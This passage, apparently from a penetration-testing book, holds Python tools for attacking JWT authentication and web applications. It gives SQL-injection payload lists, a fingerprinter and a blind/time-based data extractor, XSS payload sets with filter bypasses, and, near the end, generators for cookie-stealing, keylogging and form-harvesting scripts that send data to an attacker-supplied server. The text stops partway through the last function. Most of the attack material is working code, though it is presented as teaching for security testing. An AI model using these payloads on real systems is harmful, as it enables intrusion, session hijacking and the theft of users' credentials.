            'original_token': token,
            'modified_token': modified_token,
            'test_url': '/api/protected',  # This would be configured
            'vulnerability': 'alg:none' if self.test_token(modified_token) else None
        }
    
    def test_algorithm_confusion(self, token, public_key):
        """Test algorithm confusion (RS256 -> HS256)"""
        
        try:
            # Try to verify with HS256 using public key as secret
            decoded = self.decode_jwt(token)
            
            # Change algorithm to HS256
            header = decoded['header'].copy()
            header['alg'] = 'HS256'
            
            # Create new token with HS256 using public key
            modified_token = jwt.encode(
                decoded['payload'],
                public_key,
                algorithm='HS256',
                headers=header
            )
            
            return {
                'original_token': token,
                'modified_token': modified_token,
                'vulnerability': 'algorithm_confusion'
            }
        except Exception as e:
            return {'error': str(e)}
    
    def test_weak_secret(self, token, wordlist_file):
        """Test for weak HMAC secret"""
        
        decoded = self.decode_jwt(token)
        if 'error' in decoded or decoded['header'].get('alg') not in ['HS256', 'HS384', 'HS512']:
            return {'error': 'Not an HMAC token'}
            
        # Extract parts
        header_b64 = token.split('.')[0]
        payload_b64 = token.split('.')[1]
        signature = token.split('.')[2]
        
        message = f"{header_b64}.{payload_b64}".encode()
        target_sig = base64.urlsafe_b64decode(signature + '==')
        
        # Try common weak secrets
        weak_secrets = [
            'secret', 'password', '123456', 'admin', 'key', 'token',
            'secretkey', 'jwtsecret', 'mysecret', 'changeme'
        ]
        
        try:
            with open(wordlist_file, 'r') as f:
                weak_secrets.extend([line.strip() for line in f.readlines()[:1000]])
        except:
            pass
            
        for secret in weak_secrets:
            try:
                calculated = hmac.new(
                    secret.encode(),
                    message,
                    hashlib.sha256
                ).digest()
                
                if hmac.compare_digest(calculated, target_sig):
                    return {
                        'secret_found': secret,
                        'token': token,
                        'vulnerability': 'weak_hmac_secret'
                    }
            except:
                pass
                
        return {'error': 'Secret not found in wordlist'}
    
    def test_token_expiration(self, token):
        """Check token expiration handling"""
        
        decoded = self.decode_jwt(token)
        if 'error' in decoded:
            return {'error': 'Invalid token'}
            
        payload = decoded['payload']
        
        expiration_issues = []
        
        # Check if exp claim exists
        if 'exp' not in payload:
            expiration_issues.append("No expiration claim (exp)")
        else:
            exp = payload['exp']
            current_time = int(time.time())
            
            if exp < current_time:
                expiration_issues.append("Token is expired")
            elif exp - current_time > 86400 * 30:  # 30 days
                expiration_issues.append(f"Long-lived token: {(exp-current_time)/86400:.1f} days")
                
        # Check if nbf claim exists
        if 'nbf' in payload:
            nbf = payload['nbf']
            if nbf > current_time:
                expiration_issues.append("Token not yet valid (nbf in future)")
                
        return {
            'has_expiration': 'exp' in payload,
            'has_not_before': 'nbf' in payload,
            'issues': expiration_issues
        }
    
    def test_kid_injection(self, token):
        """Test KID (Key ID) header injection"""
        
        decoded = self.decode_jwt(token)
        if 'error' in decoded:
            return {'error': 'Invalid token'}
            
        header = decoded['header']
        
        if 'kid' not in header:
            return {'message': 'No KID header present'}
            
        kid = header['kid']
        
        # Test for SQL injection in KID
        sql_payloads = ["'", "';--", "' OR '1'='1"]
        
        vulnerabilities = []
        for payload in sql_payloads:
            modified_header = header.copy()
            modified_header['kid'] = kid + payload
            
            # Create modified token
            header_b64 = base64.urlsafe_b64encode(json.dumps(modified_header).encode()).decode().rstrip('=')
            payload_b64 = token.split('.')[1]
            
            modified_token = f"{header_b64}.{payload_b64}."
            
            vulnerabilities.append({
                'payload': payload,
                'modified_token': modified_token
            })
            
        # Test for path traversal in KID
        path_payloads = [
            '../../../../etc/passwd',
            '/etc/passwd',
            '../../../dev/null'
        ]
        
        for payload in path_payloads:
            modified_header = header.copy()
            modified_header['kid'] = payload
            
            header_b64 = base64.urlsafe_b64encode(json.dumps(modified_header).encode()).decode().rstrip('=')
            modified_token = f"{header_b64}.{token.split('.')[1]}."
            
            vulnerabilities.append({
                'type': 'path_traversal',
                'payload': payload,
                'modified_token': modified_token
            })
            
        return vulnerabilities
    
    def test_jwk_injection(self, token):
        """Test JWK (JSON Web Key) header injection"""
        
        decoded = self.decode_jwt(token)
        if 'error' in decoded:
            return {'error': 'Invalid token'}
            
        header = decoded['header']
        
        # Check if jwk, jku, or x5u headers are present
        injection_points = []
        
        if 'jwk' in header:
            injection_points.append('jwk')
        if 'jku' in header:
            injection_points.append('jku')
        if 'x5u' in header:
            injection_points.append('x5u')
            
        if not injection_points:
            return {'message': 'No JWK-related headers present'}
            
        return {
            'injection_points': injection_points,
            'vulnerability': 'jwk_injection_possible',
            'recommendation': 'Validate JWK/JKU URLs against whitelist'
        }
    
    def test_token(self, token, url):
        """Test if token is accepted by the server"""
        try:
            headers = {'Authorization': f'Bearer {token}'}
            response = requests.get(url, headers=headers)
            return response.status_code == 200
        except:
            return False
    
    def generate_report(self, token, url, public_key=None, wordlist=None):
        """Generate comprehensive JWT security report"""
        
        report = {
            'token': token,
            'decoded': self.decode_jwt(token),
            'vulnerabilities': [],
            'recommendations': []
        }
        
        # Test expiration
        exp_test = self.test_token_expiration(token)
        if exp_test['issues']:
            report['vulnerabilities'].append({
                'type': 'expiration_issues',
                'details': exp_test['issues']
            })
            report['recommendations'].append("Implement proper expiration (exp) and not-before (nbf) claims")
            
        # Test none algorithm
        none_test = self.test_none_algorithm(token)
        if none_test.get('vulnerability'):
            report['vulnerabilities'].append({
                'type': 'none_algorithm',
                'details': 'Server accepts alg:none tokens'
            })
            report['recommendations'].append("Reject tokens with alg:none")
            
        # Test algorithm confusion if public key provided
        if public_key:
            confusion_test = self.test_algorithm_confusion(token, public_key)
            if 'vulnerability' in confusion_test:
                report['vulnerabilities'].append({
                    'type': 'algorithm_confusion',
                    'details': 'Server accepts algorithm downgrade attacks'
                })
                report['recommendations'].append("Validate algorithm matches expected value")
                
        # Test weak secret if wordlist provided and HMAC token
        if wordlist and report['decoded'].get('header', {}).get('alg', '').startswith('HS'):
            weak_secret_test = self.test_weak_secret(token, wordlist)
            if 'secret_found' in weak_secret_test:
                report['vulnerabilities'].append({
                    'type': 'weak_hmac_secret',
                    'details': f"Secret found: {weak_secret_test['secret_found']}"
                })
                report['recommendations'].append("Use strong, randomly generated secrets")
                
        # Test KID injection
        kid_test = self.test_kid_injection(token)
        if isinstance(kid_test, list) and kid_test:
            report['vulnerabilities'].append({
                'type': 'kid_injection',
                'details': 'KID header may be vulnerable to injection',
                'examples': kid_test[:2]
            })
            report['recommendations'].append("Validate and sanitize KID values")
            
        # Test JWK injection
        jwk_test = self.test_jwk_injection(token)
        if jwk_test and 'injection_points' in jwk_test:
            report['vulnerabilities'].append({
                'type': 'jwk_injection',
                'details': f"JWK-related headers present: {jwk_test['injection_points']}"
            })
            report['recommendations'].append("Validate JWK/JKU URLs against whitelist")
            
        # Calculate risk score
        risk_score = len(report['vulnerabilities']) * 20
        if risk_score > 100:
            risk_score = 100
            
        report['risk_score'] = risk_score
        report['risk_level'] = self.get_risk_level(risk_score)
        
        return report
    
    def get_risk_level(self, score):
        """Convert risk score to level"""
        if score >= 80:
            return 'Critical'
        elif score >= 60:
            return 'High'
        elif score >= 40:
            return 'Medium'
        elif score >= 20:
            return 'Low'
        else:
            return 'Info'

# Example usage
tester = JWTTester()

# Example JWT token
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

report = tester.generate_report(
    token,
    'https://api.example.com/protected',
    public_key='-----BEGIN PUBLIC KEY-----\n...\n-----END PUBLIC KEY-----',
    wordlist='/usr/share/wordlists/rockyou.txt'
)

print(json.dumps(report, indent=2))

Chapter 13 — Web Vulnerabilities

Web vulnerabilities represent the most common attack vectors against modern applications. Understanding these vulnerabilities in depth is essential for both identifying and exploiting them during penetration tests, as well as for implementing proper defenses.

13.1 SQL Injection

SQL Injection (SQLi) remains one of the most critical and prevalent web application vulnerabilities, allowing attackers to interfere with the queries an application makes to its database.

13.1.1 SQL Injection Fundamentals

SQL injection occurs when user input is incorrectly filtered for SQL statements or dynamically incorporated into SQL queries without proper sanitization.

Types of SQL Injection:

#!/usr/bin/env python3
# sqli_types.py

class SQLITypes:
    def __init__(self):
        self.vulnerable_patterns = {
            'in-band': 'Classic SQLi where data is retrieved in the same channel',
            'error-based': 'Using error messages to extract information',
            'union-based': 'Using UNION operator to combine queries',
            'blind-boolean': 'Inferring information based on true/false responses',
            'blind-time': 'Inferring information based on response delays',
            'out-of-band': 'Using alternative channels (DNS, HTTP requests) to extract data'
        }
        
    def error_based_payloads(self):
        """Generate error-based SQL injection payloads"""
        return [
            "'",
            "\"",
            "')",
            "'))",
            "\'))",
            "' OR '1'='1",
            "' OR '1'='1'--",
            "' OR '1'='1'#",
            "' OR 1=1--",
            "' OR 1=1#",
            "' OR 1=1 LIMIT 1--",
            "admin'--",
            "admin' #",
            "admin'/*",
            "' UNION SELECT null--",
            "' UNION SELECT null,null--",
            "' UNION SELECT null,null,null--",
            "'; DROP TABLE users--",
            "' AND 1=CONVERT(int, @@version)--",
            "' AND 1=CAST(@@version AS int)--"
        ]
    
    def union_based_payloads(self):
        """Generate UNION-based SQL injection payloads"""
        return [
            "' UNION SELECT 1,2,3--",
            "' UNION SELECT 1,2,3,4--",
            "' UNION SELECT 1,2,3,4,5--",
            "' UNION SELECT NULL,NULL,NULL--",
            "' UNION SELECT NULL,NULL,NULL,NULL--",
            "' UNION ALL SELECT 1,2,3--",
            "\" UNION SELECT 1,2,3--",
            "') UNION SELECT 1,2,3--",
            "')) UNION SELECT 1,2,3--",
            "'; UNION SELECT 1,2,3--",
            "' UNION SELECT 1,@@version,3--",
            "' UNION SELECT 1,user(),3--",
            "' UNION SELECT 1,database(),3--",
            "' UNION SELECT 1,table_name,3 FROM information_schema.tables--"
        ]
    
    def blind_boolean_payloads(self):
        """Generate blind boolean-based SQL injection payloads"""
        return [
            "' AND '1'='1",
            "' AND '1'='2",
            "' AND 1=1--",
            "' AND 1=2--",
            "' OR '1'='1'",
            "' OR '1'='2'",
            "' OR 1=1--",
            "' OR 1=2--",
            "' AND SUBSTRING(@@version,1,1)='1'",
            "' AND ASCII(SUBSTRING(@@version,1,1))>100",
            "' AND (SELECT COUNT(*) FROM users)>0",
            "' AND EXISTS(SELECT * FROM users)"
        ]
    
    def blind_time_payloads(self):
        """Generate blind time-based SQL injection payloads"""
        return [
            "'; WAITFOR DELAY '0:0:5'--",
            "'; WAITFOR DELAY '0:0:5'--",
            "' OR SLEEP(5)--",
            "' OR SLEEP(5) AND '1'='1",
            "' AND SLEEP(5)--",
            "'; SELECT pg_sleep(5)--",
            "' OR pg_sleep(5)--",
            "' AND pg_sleep(5)--",
            "' OR BENCHMARK(1000000,MD5('a'))--",
            "' AND BENCHMARK(1000000,MD5('a'))--",
            "' OR (SELECT * FROM (SELECT(SLEEP(5)))a)--"
        ]

class SQLIDetector:
    def __init__(self, target_url, param_name):
        self.target_url = target_url
        self.param_name = param_name
        self.vulnerabilities = []
        self.dbms_type = None
        
    def test_error_based(self, payloads):
        """Test for error-based SQL injection"""
        import requests
        
        for payload in payloads:
            test_url = f"{self.target_url}?{self.param_name}={payload}"
            
            try:
                response = requests.get(test_url, timeout=5)
                
                # Check for database error messages
                error_indicators = [
                    "SQL syntax",
                    "mysql_fetch",
                    "ORA-",
                    "PostgreSQL",
                    "SQLite",
                    "unclosed quotation mark",
                    "Microsoft OLE DB",
                    "Incorrect syntax near",
                    "Unclosed quotation mark",
                    "You have an error in your SQL syntax",
                    "Warning: mysql_",
                    "Division by zero",
                    "Unknown column",
                    "driver error"
                ]
                
                for indicator in error_indicators:
                    if indicator.lower() in response.text.lower():
                        self.vulnerabilities.append({
                            'type': 'error-based',
                            'payload': payload,
                            'indicator': indicator,
                            'url': test_url
                        })
                        break
                        
            except Exception as e:
                print(f"Error testing {payload}: {e}")
    
    def test_union_based(self, payloads):
        """Test for UNION-based SQL injection"""
        import requests
        
        for payload in payloads:
            test_url = f"{self.target_url}?{self.param_name}={payload}"
            
            try:
                response = requests.get(test_url, timeout=5)
                
                # Look for increased column count or data extraction
                if "2" in response.text or "3" in response.text:
                    # This is a simplistic check - actual detection is more complex
                    self.vulnerabilities.append({
                        'type': 'union-based',
                        'payload': payload,
                        'url': test_url
                    })
            except:
                pass
    
    def test_blind_boolean(self, payloads):
        """Test for blind boolean-based SQL injection"""
        import requests
        
        # Get baseline response
        baseline = requests.get(f"{self.target_url}?{self.param_name}=1")
        baseline_length = len(baseline.text)
        
        for payload in payloads:
            test_url = f"{self.target_url}?{self.param_name}={payload}"
            
            try:
                response = requests.get(test_url, timeout=5)
                
                # Compare with baseline
                if abs(len(response.text) - baseline_length) > 10:
                    self.vulnerabilities.append({
                        'type': 'blind-boolean',
                        'payload': payload,
                        'url': test_url
                    })
            except:
                pass
    
    def test_blind_time(self, payloads):
        """Test for blind time-based SQL injection"""
        import requests
        import time
        
        for payload in payloads:
            test_url = f"{self.target_url}?{self.param_name}={payload}"
            
            try:
                start_time = time.time()
                response = requests.get(test_url, timeout=10)
                elapsed = time.time() - start_time
                
                if elapsed > 5:  # Significant delay
                    self.vulnerabilities.append({
                        'type': 'blind-time',
                        'payload': payload,
                        'delay': elapsed,
                        'url': test_url
                    })
            except requests.Timeout:
                self.vulnerabilities.append({
                    'type': 'blind-time',
                    'payload': payload,
                    'delay': 'timeout',
                    'url': test_url
                })
            except:
                pass

# Example usage
sqli_types = SQLITypes()
detector = SQLIDetector('https://example.com/search', 'q')

print("[*] Testing error-based SQL injection...")
detector.test_error_based(sqli_types.error_based_payloads())

print("[*] Testing blind boolean injection...")
detector.test_blind_boolean(sqli_types.blind_boolean_payloads())

if detector.vulnerabilities:
    print(f"\n[!] Found {len(detector.vulnerabilities)} potential SQL injection vulnerabilities:")
    for vuln in detector.vulnerabilities:
        print(f"  - {vuln['type']}: {vuln['url']}")

13.1.2 Advanced SQL Injection Techniques

Database Fingerprinting:

#!/usr/bin/env python3
# db_fingerprinting.py

import requests
import time

class DatabaseFingerprinter:
    def __init__(self, target_url, param_name):
        self.target_url = target_url
        self.param_name = param_name
        self.db_type = None
        
    def fingerprint_by_errors(self):
        """Identify database type by error messages"""
        
        db_patterns = {
            'MySQL': [
                "You have an error in your SQL syntax",
                "MySQLSyntaxErrorException",
                "com.mysql.jdbc",
                "MariaDB"
            ],
            'PostgreSQL': [
                "PostgreSQL",
                "psycopg2",
                "PG::SyntaxError",
                "ERROR: syntax error at or near",
                "driver for PostgreSQL"
            ],
            'Oracle': [
                "ORA-",
                "Oracle",
                "oracle.jdbc",
                "PL/SQL"
            ],
            'MSSQL': [
                "Microsoft OLE DB",
                "Microsoft SQL Server",
                "SQLServer JDBC",
                "com.microsoft.sqlserver",
                "Incorrect syntax near"
            ],
            'SQLite': [
                "SQLite",
                "sqlite3",
                "unable to open database file"
            ]
        }
        
        test_payloads = ["'", "\"", "')", "\"))", "'--"]
        
        for payload in test_payloads:
            url = f"{self.target_url}?{self.param_name}={payload}"
            
            try:
                response = requests.get(url, timeout=5)
                
                for db, patterns in db_patterns.items():
                    for pattern in patterns:
                        if pattern.lower() in response.text.lower():
                            self.db_type = db
                            return {
                                'database': db,
                                'method': 'error_message',
                                'payload': payload,
                                'pattern': pattern
                            }
            except:
                pass
                
        return None
    
    def fingerprint_by_functions(self):
        """Identify database by version functions"""
        
        db_tests = {
            'MySQL': ["@@version", "version()", "now()"],
            'PostgreSQL': ["version()", "current_database()", "pg_sleep(1)"],
            'Oracle': ["v$version", "sysdate", "dbms_random.value"],
            'MSSQL': ["@@version", "getdate()", "db_name()"],
            'SQLite': ["sqlite_version()", "date('now')"]
        }
        
        results = {}
        
        for db, functions in db_tests.items():
            for func in functions:
                payload = f"' AND (SELECT {func}) IS NOT NULL--"
                url = f"{self.target_url}?{self.param_name}={payload}"
                
                try:
                    response = requests.get(url, timeout=5)
                    
                    # Check if function was executed (no error)
                    if "error" not in response.text.lower():
                        if db not in results:
                            results[db] = 0
                        results[db] += 1
                except:
                    pass
                    
        if results:
            self.db_type = max(results, key=results.get)
            return {
                'database': self.db_type,
                'method': 'function_test',
                'scores': results
            }
            
        return None
    
    def fingerprint_by_time_delays(self):
        """Identify database by sleep function behavior"""
        
        db_sleep = {
            'MySQL': "SLEEP(3)",
            'PostgreSQL': "pg_sleep(3)",
            'MSSQL': "WAITFOR DELAY '0:0:3'",
            'Oracle': "DBMS_LOCK.SLEEP(3)"
        }
        
        baseline_time = None
        
        for db, sleep_func in db_sleep.items():
            payload = f"'; {sleep_func}--"
            url = f"{self.target_url}?{self.param_name}={payload}"
            
            try:
                start_time = time.time()
                response = requests.get(url, timeout=10)
                elapsed = time.time() - start_time
                
                if baseline_time is None:
                    baseline_time = elapsed
                    
                if elapsed > baseline_time + 2:  # Significant delay
                    return {
                        'database': db,
                        'method': 'time_delay',
                        'delay': elapsed,
                        'function': sleep_func
                    }
            except requests.Timeout:
                return {
                    'database': db,
                    'method': 'time_delay',
                    'delay': 'timeout',
                    'function': sleep_func
                }
            except:
                pass
                
        return None
    
    def fingerprint_by_comment_syntax(self):
        """Identify database by comment syntax"""
        
        comment_tests = {
            'MySQL': ["-- ", "#", "/*! */"],
            'PostgreSQL': ["--"],
            'Oracle': ["--"],
            'MSSQL': ["--", "/* */"]
        }
        
        base_payload = "' OR 1=1"
        
        for db, comments in comment_tests.items():
            for comment in comments:
                payload = f"{base_payload}{comment}"
                url = f"{self.target_url}?{self.param_name}={payload}"
                
                try:
                    response = requests.get(url, timeout=5)
                    
                    # If comment works, should return results
                    if "error" not in response.text.lower():
                        return {
                            'database': db,
                            'method': 'comment_syntax',
                            'comment': comment
                        }
                except:
                    pass
                    
        return None
    
    def fingerprint(self):
        """Run all fingerprinting techniques"""
        
        methods = [
            self.fingerprint_by_errors,
            self.fingerprint_by_functions,
            self.fingerprint_by_time_delays,
            self.fingerprint_by_comment_syntax
        ]
        
        for method in methods:
            result = method()
            if result:
                print(f"[+] Database identified: {result['database']} via {result['method']}")
                return result
                
        print("[-] Could not identify database type")
        return None

# Example usage
fingerprinter = DatabaseFingerprinter('https://example.com/search', 'q')
result = fingerprinter.fingerprint()

Data Extraction with SQL Injection:

#!/usr/bin/env python3
# sqli_extractor.py

import requests
import string
import time

class SQLIExtractor:
    def __init__(self, target_url, param_name, db_type='mysql'):
        self.target_url = target_url
        self.param_name = param_name
        self.db_type = db_type
        
    def extract_database_names(self):
        """Extract database names"""
        
        if self.db_type == 'mysql':
            return self.extract_mysql_databases()
        elif self.db_type == 'postgresql':
            return self.extract_postgresql_databases()
        elif self.db_type == 'mssql':
            return self.extract_mssql_databases()
        else:
            return []
    
    def extract_mysql_databases(self):
        """Extract database names from MySQL"""
        
        databases = []
        
        # Get number of databases
        count_payload = f"' UNION SELECT COUNT(schema_name) FROM information_schema.schemata--"
        url = f"{self.target_url}?{self.param_name}={count_payload}"
        
        try:
            response = requests.get(url)
            # Parse count from response (simplified)
            # In real scenario, would need to extract from HTML
            
            # Extract database names character by character
            for i in range(1, 10):  # Assume max 10 databases
                db_name = self.extract_string(
                    f"SELECT schema_name FROM information_schema.schemata LIMIT {i-1},1"
                )
                if db_name:
                    databases.append(db_name)
                    
        except Exception as e:
            print(f"Error: {e}")
            
        return databases
    
    def extract_string(self, query):
        """Extract string using blind boolean technique"""
        
        result = ""
        charset = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_"
        
        for position in range(1, 50):  # Max length 50
            found = False
            for char in charset:
                # Blind boolean payload
                payload = f"' AND ASCII(SUBSTRING(({query}),{position},1))={ord(char)}--"
                url = f"{self.target_url}?{self.param_name}={payload}"
                
                try:
                    response = requests.get(url)
                    
                    # Compare with baseline (true condition)
                    true_payload = f"' AND 1=1--"
                    true_url = f"{self.target_url}?{self.param_name}={true_payload}"
                    true_response = requests.get(true_url)
                    
                    if len(response.text) == len(true_response.text):
                        result += char
                        found = True
                        print(f"  Found: {result}")
                        break
                except:
                    pass
                    
            if not found:
                break
                
        return result if result else None
    
    def extract_time_based(self, query, delay=3):
        """Extract data using time-based technique"""
        
        result = ""
        charset = string.ascii_lowercase + string.ascii_uppercase + string.digits
        
        for position in range(1, 50):
            for char in charset:
                # Time-based payload
                if self.db_type == 'mysql':
                    payload = f"' AND IF(ASCII(SUBSTRING(({query}),{position},1))={ord(char)},SLEEP({delay}),0)--"
                elif self.db_type == 'postgresql':
                    payload = f"' AND CASE WHEN ASCII(SUBSTRING(({query}),{position},1))={ord(char)} THEN pg_sleep({delay}) ELSE 0 END--"
                elif self.db_type == 'mssql':
                    payload = f"'; IF ASCII(SUBSTRING(({query}),{position},1))={ord(char)} WAITFOR DELAY '0:0:{delay}'--"
                else:
                    return None
                    
                url = f"{self.target_url}?{self.param_name}={payload}"
                
                try:
                    start_time = time.time()
                    response = requests.get(url, timeout=delay+2)
                    elapsed = time.time() - start_time
                    
                    if elapsed >= delay:
                        result += char
                        print(f"  Found: {result}")
                        break
                except requests.Timeout:
                    result += char
                    print(f"  Found: {result}")
                    break
                except:
                    pass
                    
        return result if result else None

# Example usage
extractor = SQLIExtractor('https://example.com/search', 'q', 'mysql')
databases = extractor.extract_database_names()
print(f"[+] Found databases: {databases}")

13.2 Cross-Site Scripting (XSS)

XSS allows attackers to inject malicious scripts into web pages viewed by other users, leading to session hijacking, credential theft, and other attacks.

13.2.1 XSS Types and Detection

#!/usr/bin/env python3
# xss_detector.py

import requests
import re
from urllib.parse import quote, urljoin

class XSSDetector:
    def __init__(self):
        self.xss_types = {
            'reflected': 'Script executes immediately, comes from current request',
            'stored': 'Script stored on server, affects all users',
            'dom-based': 'Vulnerability in client-side code, not server response'
        }
        
    def generate_payloads(self):
        """Generate XSS test payloads"""
        return {
            'basic': [
                '<script>alert("XSS")</script>',
                '<script>alert(1)</script>',
                '"><script>alert(1)</script>',
                '\'><script>alert(1)</script>',
                '</script><script>alert(1)</script>',
                '<img src=x onerror=alert(1)>',
                '<svg onload=alert(1)>',
                '<body onload=alert(1)>',
                '<input autofocus onfocus=alert(1)>',
                '<details open ontoggle=alert(1)>'
            ],
            'obfuscated': [
                '<ScRiPt>alert(1)</ScRiPt>',
                '<script>\u0061lert(1)</script>',
                '<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>',
                '<script>window["al"+"ert"](1)</script>',
                '<a href="javascript:alert(1)">click</a>',
                '<iframe src="javascript:alert(1)">',
                '<img src="x" onerror="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">',
                '<script>setTimeout("alert(1)", 1000)</script>'
            ],
            'polyglot': [
                'jaVasCript:/*-/*`/*\`/*\'/*"/**/(/* */oNcliCk=alert(1) )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3dsvg/onload=alert(1)//',
                '"><img src=x onerror=alert(1)>',
                'javascript:/*--></title></script></textarea></style></noscript></noembed></template></frameset>"><svg onload=alert(1)>'
            ],
            'event_handlers': [
                'onload=alert(1)',
                'onerror=alert(1)',
                'onclick=alert(1)',
                'onmouseover=alert(1)',
                'onfocus=alert(1)',
                'onblur=alert(1)',
                'onchange=alert(1)',
                'onsubmit=alert(1)',
                'onreset=alert(1)',
                'onselect=alert(1)',
                'onkeydown=alert(1)',
                'onkeypress=alert(1)',
                'onkeyup=alert(1)'
            ],
            'bypass_attempts': [
                '<scr<script>ipt>alert(1)</scr</script>ipt>',
                '<<script>alert(1)</script>',
                '<script>alert(1)</script',
                '<script>alert(1)//</script>',
                '<script>alert(1)</script \n>',
                '<script>alert(1)</script  >',
                '<script>alert(1)</script x>',
                '<script>alert(1)</script+>',
                '<script>alert(1)//<![CDATA[',
                '<script>alert(1)</script -->',
                '<!--><script>alert(1)</script>',
                '<script>alert(1)</script><!--'
            ],
            'context_specific': [
                # For attribute values
                '" onmouseover="alert(1)',
                "' onmouseover='alert(1)",
                # For URL parameters
                'javascript:alert(1)',
                # For CSS
                '</style><script>alert(1)</script>',
                # For comments
                '--><script>alert(1)</script>',
                # For JSON
                '"-alert(1)-"',
                # For template literals
                '${alert(1)}'
            ]
        }
    
    def test_reflected_xss(self, url, param_name, payloads):
        """Test for reflected XSS"""
        
        results = []
        
        for payload in payloads:
            encoded_payload = quote(payload)
            test_url = f"{url}?{param_name}={encoded_payload}"
            
            try:
                response = requests.get(test_url, timeout=5)
                
                # Check if payload is reflected in response
                if payload in response.text:
                    results.append({
                        'type': 'reflected',
                        'url': test_url,
                        'payload': payload,
                        'reflected': True,
                        'context': self.analyze_context(payload, response.text)
                    })
                    
                    # Check for proper HTML context
                    if self.is_executable_context(payload, response.text):
                        results[-1]['executable'] = True
                        
            except Exception as e:
                print(f"Error testing {payload}: {e}")
                
        return results
    
    def test_stored_xss(self, submit_url, param_name, payloads, verify_url):
        """Test for stored XSS"""
        
        results = []
        
        for payload in payloads:
            try:
                # Submit payload
                data = {param_name: payload}
                response = requests.post(submit_url, data=data)
                
                # Check if payload is stored
                verify_response = requests.get(verify_url)
                
                if payload in verify_response.text:
                    results.append({
                        'type': 'stored',
                        'payload': payload,
                        'submit_url': submit_url,
                        'verify_url': verify_url,
                        'reflected': True,
                        'context': self.analyze_context(payload, verify_response.text)
                    })
                    
            except Exception as e:
                print(f"Error testing {payload}: {e}")
                
        return results
    
    def test_dom_xss(self, url, param_name, payloads):
        """Basic DOM XSS detection"""
        
        results = []
        
        # DOM XSS often requires JavaScript execution to detect
        # This is a simplified version checking for potential sinks
        
        dom_sinks = [
            'document.write',
            'innerHTML',
            'outerHTML',
            'eval',
            'setTimeout',
            'setInterval',
            'location',
            'location.href',
            'location.replace',
            'document.cookie'
        ]
        
        for payload in payloads:
            encoded_payload = quote(payload)
            test_url = f"{url}?{param_name}={encoded_payload}"
            
            try:
                response = requests.get(test_url)
                
                # Look for DOM sinks in JavaScript
                for sink in dom_sinks:
                    if sink in response.text:
                        results.append({
                            'type': 'dom-based',
                            'url': test_url,
                            'payload': payload,
                            'potential_sink': sink,
                            'requires_manual': True
                        })
                        break
                        
            except Exception as e:
                print(f"Error: {e}")
                
        return results
    
    def analyze_context(self, payload, response_text):
        """Analyze where payload appears in response"""
        
        context = {
            'html_context': None,
            'surrounded_by': None,
            'encoding': None
        }
        
        # Find payload position
        position = response_text.find(payload)
        if position == -1:
            return context
            
        # Check surrounding characters
        start = max(0, position - 50)
        end = min(len(response_text), position + len(payload) + 50)
        context_snippet = response_text[start:end]
        
        # Determine context
        if re.search(r'<script[^>]*>.*?' + re.escape(payload) + r'.*?</script>', response_text, re.DOTALL | re.IGNORECASE):
            context['html_context'] = 'script'
        elif re.search(r'<[^>]*' + re.escape(payload) + r'[^>]*>', response_text):
            context['html_context'] = 'tag_attribute'
        elif re.search(r'<!--.*?' + re.escape(payload) + r'.*?-->', response_text, re.DOTALL):
            context['html_context'] = 'comment'
        elif re.search(r'<style[^>]*>.*?' + re.escape(payload) + r'.*?</style>', response_text, re.DOTALL | re.IGNORECASE):
            context['html_context'] = 'css'
        else:
            context['html_context'] = 'html_body'
            
        # Check for HTML encoding
        if '&lt;' in context_snippet and '&gt;' in context_snippet:
            context['encoding'] = 'html_encoded'
        elif '\\u' in context_snippet or '\\x' in context_snippet:
            context['encoding'] = 'unicode_escape'
            
        context['snippet'] = context_snippet
        
        return context
    
    def is_executable_context(self, payload, response_text):
        """Check if payload appears in executable context"""
        
        executable_patterns = [
            r'<script[^>]*>.*?' + re.escape(payload) + r'.*?</script>',
            r'on\w+\s*=\s*["\']?[^"\']*' + re.escape(payload) + r'[^"\']*',
            r'href\s*=\s*["\']?javascript:.*?' + re.escape(payload),
            r'src\s*=\s*["\']?javascript:.*?' + re.escape(payload)
        ]
        
        for pattern in executable_patterns:
            if re.search(pattern, response_text, re.DOTALL | re.IGNORECASE):
                return True
                
        return False

# Example usage
detector = XSSDetector()
payloads = detector.generate_payloads()

# Test for reflected XSS
results = detector.test_reflected_xss(
    'https://example.com/search',
    'q',
    payloads['basic'] + payloads['obfuscated']
)

print(f"\n[+] Found {len(results)} potential XSS vulnerabilities:")
for result in results:
    print(f"  - {result['type']}: {result['url']}")
    print(f"    Context: {result['context']['html_context']}")
    if result.get('executable'):
        print(f"    [!] Appears executable!")

13.2.2 Advanced XSS Exploitation

#!/usr/bin/env python3
# xss_exploitation.py

import requests
import base64
import json
from urllib.parse import quote

class XSSExploiter:
    def __init__(self, target_url, param_name):
        self.target_url = target_url
        self.param_name = param_name
        
    def generate_session_hijacking_payload(self, attacker_server):
        """Generate payload to steal session cookies"""
        
        payload = f"""
        <script>
        var img = new Image();
        img.src = '{attacker_server}/steal?cookie=' + document.cookie +
                  '&url=' + encodeURIComponent(window.location.href) +
                  '&referrer=' + encodeURIComponent(document.referrer);
        </script>
        """
        
        return {
            'payload': payload.strip(),
            'type': 'session_hijacking',
            'description': 'Steals cookies and sends to attacker server'
        }
    
    def generate_keylogger_payload(self, attacker_server):
        """Generate keylogger payload"""
        
        payload = f"""
        <script>
        document.addEventListener('keydown', function(e) {{
            var img = new Image();
            img.src = '{attacker_server}/keylog?key=' + 
                     encodeURIComponent(e.key) +
                     '&timestamp=' + Date.now();
        }});
        </script>
        """
        
        return {
            'payload': payload.strip(),
            'type': 'keylogger',
            'description': 'Logs all keystrokes'
        }
    
    def generate_credential_harvesting_payload(self, attacker_server, login_form_selector='#login-form'):
        """Generate payload to harvest credentials"""
        
        payload = f"""
        <script>
        document.addEventListener('submit', function(e) {{
            var form = e.target;
            var data = {{}};
            for (var i = 0; i < form.elements.length; i++) {{
                var element = form.elements[i];
                if (element.name) {{
                    data[element.name] = element.value;
                }}
            }}
            
            fetch('{attacker_server}/steal', {{
                method: 'POST',
                body: JSON.stringify(data),
                headers: {{'Content-Type': 'application/json'}}
            }});
        }});
